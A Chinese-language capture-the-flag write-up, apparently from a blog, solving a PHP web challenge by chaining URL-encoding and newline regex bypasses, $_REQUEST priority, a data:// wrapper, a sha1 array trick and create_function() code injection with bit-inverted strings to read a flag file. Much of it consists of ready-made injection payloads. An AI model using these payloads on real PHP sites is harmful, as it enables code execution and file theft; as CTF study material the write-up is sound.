赞
踩
这道题很有意思,知识点多但都不是特别难的知识点,代码虽然多但都是 ”分段“ 的。总之做完真的学到很多
首先在源码中有一段GFXEIM3YFZYGQ4A=
,这是base32编码,重新解码一下即可提示前往1nD3x.php
得到代码
$_SERVER['QUERY_STRING']
的绕过if($_SERVER) {
if (
preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])
)
die('You seem to want to do something bad?');
}
不懂$_SERVER['QUERY_STRING']
的话看一看:详解 $_SERVER[“QUERY_STRING”]
题目正则ban了必须要传的参数。这里的绕过方式是URL编码,即 $_SERVER['QUERY_STRING']
是不会进行URL解码的
可以看到我们传URL编码过的进去,$_SERVER['QUERY_STRING']
不会URL解码的
所以本题就是将这里被过滤的字符进行URL编码,最好就是把传的参数都URL编码一下
%0a
绕过正则if (!preg_match('/http|https/i', $_GET['file'])) {
if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') {
$file = $_GET["file"];
echo "Neeeeee! Good Job!<br>";
}
} else die('fxck you! What do you want to do ?!');
^
与$
无法匹配到%0a
(经过我测试感觉是这样,不大确定),所以用%0a进行污染即可
file=aqua_is_cute%0a
%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a
$_REQUEST
的优先级if($_REQUEST) {
foreach($_REQUEST as $value) {
if(preg_match('/[a-zA-Z]/i', $value))
die('fxck you! I hate English!');
}
}
首先需要明确一下:
假如$_GET
和$_POST
中出现有同名变量,$REQUEST
会按照php.ini
配置文件中的顺序来取值
由上图看出:默认的优先级 GET<POST
所以GET和POST有共同一个变量时:取得是POST的值而不是GET的
本题直接再POST传相应变量的值即可
注意:在BUU上做题时把Cookie删去,因为$_COOKIE
的值也出现在$_REQUEST
全局变量中(这个地方我做题时一直没注意,导致好一会儿在怀疑人生…)
if (file_get_contents($file) !== 'debu_debu_aqua')
die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");
两种方式绕过:data
伪协议与php://input
这里用data伪协议即可
data://text/plain,debu_debu_aqua
data://text/plain,%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61
if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){
extract($_GET["flag"]);
echo "Very good! you know my password. But what is flag?<br>";
} else{
die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}
类比md5()
的绕过,这里用了强比较,用科学计数法是不可以的了
但没有限制传入类型,假如传入数组类型就会使sha1()
函数返回FALSE,因为他只接收字符串
shana[]=1&passwd[]=2
%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2
前半部分的payload:
/1nD3x.php?%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&%66%69%6c%65=data://text/plain,%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2
file=1&debu=2
create_function()
代码注入if(preg_match('/^[a-z0-9]*$/isD', $code) ||
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) {
die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w=");
} else {
include "flag.php";
$code('', $arg);
}
这里的$code
和$arg
都是要通过 extract($_GET["flag"]);
赋值的
且$code不能一直只是小写字母和数字组成, $arg
更是过滤了很多
看到最终是以$code
作为一个函数名,$arg
充当其中一个参数。
这里需要利用create_function()函数,
$DMIND="echo $a;";
$fun = create_function('$a',$DMIND);
等价于:
create_function($a){
echo $a;
}
因为$code可控,那么可以通过代码注入的方式,闭合}
,再在最后注释(可以多行注释/*
也可以单行注释//
)掉原有代码,类比SQL注入吧
但要怎么利用这个代码注入呢?注意到$code('', $arg);
前面就是include "flag.php";
,我们猜测flag在其中是一个变量形式的存在,可以尝试将flag.php中的变量打印出来。
get_defined_vars()
函数获取由所有已定义变量所组成的数组。
print_r(get_defined_vars())
即可打印出这个数组
这题过滤了print,所以可以用var_dump()代替,过滤了*
可以用单行注释代替多行注释,code、flag、arg继续URL编码
flag['code']=create_function&flag['arg']=}var_dump(get_defined_vars());/*
%66%6c%61%67[%63%6f%64%65]=create_function&%66%6c%61%67[%61%72%67]=}var_dump(get_defined_vars());//
flag在另外一个文件rea1fl4g.php
中,包含这个文件,并继续读取变量:
但是include被过滤了,可以用require()
代替,
双引号、单引号的使用、.
的使用可以用base64编码绕过,
flag['code']=create_function&flag['arg']=}require(base64_deode(cmVhMWZsNGcucGhw));var_dump(get_defined_vars());//
flag['code']=create_function&flag['arg']=}require(%62%61%73%65%36%34%5f%64%65%63%6f%64%65(cmVhMWZsNGcucGhw));var_dump(get_defined_vars());//
读取不到真的flag,只能换种方式
因为~
没被过滤,可以用取反来构造LFI:
flag['code']=create_function&flag['arg']=}print_r(get_defined_vars());/*
%66%6c%61%67[%63%6f%64%65]=create_function&%66%6c%61%67[%61%72%67]=}require("php://filter/read=convert.base64-encode/resource=rea1fl4g.php");//
flag['code']=create_function&flag['arg']=}print_r(get_defined_vars());/*
%66%6c%61%67[%63%6f%64%65]=create_function&%66%6c%61%67[%61%72%67]=}require(~%8F%97%8F%C5%D0%D0%99%96%93%8B%9A%8D%D0%8D%9A%9E%9B%C2%9C%90%91%89%9A%8D%8B%D1%9D%9E%8C%9A%C9%CB%D2%9A%91%9C%90%9B%9A%D0%8D%9A%8C%90%8A%8D%9C%9A%C2%8D%9A%9E%CE%99%93%CB%98%D1%8F%97%8F);//
还有这种方式获取flag,配合被遗漏的函数 + while循环读取内容
$handle = fopen('flag.txt',r)
以只读方式打开文件flag.txt
,并返回文件指针资源
fgets($handle)
从文件指针中读取一行
feof($handle)
测试文件指针是否到了文件结束的位置
flag['code']=create_function&flag['arg']=}print_r(get_defined_vars());/*
%66%6c%61%67[%63%6f%64%65]=create_function&%66%6c%61%67[%61%72%67]=}define(aa,fopen('rea1fl4g.php',r));while(!feof(aa))var_dump(fgets(aa));fclose(aa);//
flag['code']=create_function&flag['arg']=}print_r(get_defined_vars());/*
%66%6c%61%67[%63%6f%64%65]=create_function&%66%6c%61%67[%61%72%67]=}define(aa,fopen(~%8D%9A%9E%CE%99%93%CB%98%D1%8F%97%8F,r));while(!feof(aa))var_dump(fgets(aa));fclose(aa);//
1. 如果对$_SERVER['QUERY_STRING']
这个数组做过滤,URL编码即可绕过
2. %0a进行参数污染
3. 同名变量下$_REQUEST
的取值是有优先级的,默认的优先级 ENV<GET<POST<COOKIE<SERVER
4. data伪协议绕过file_get_content()
文件读取
5. create_function()
代码注入
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。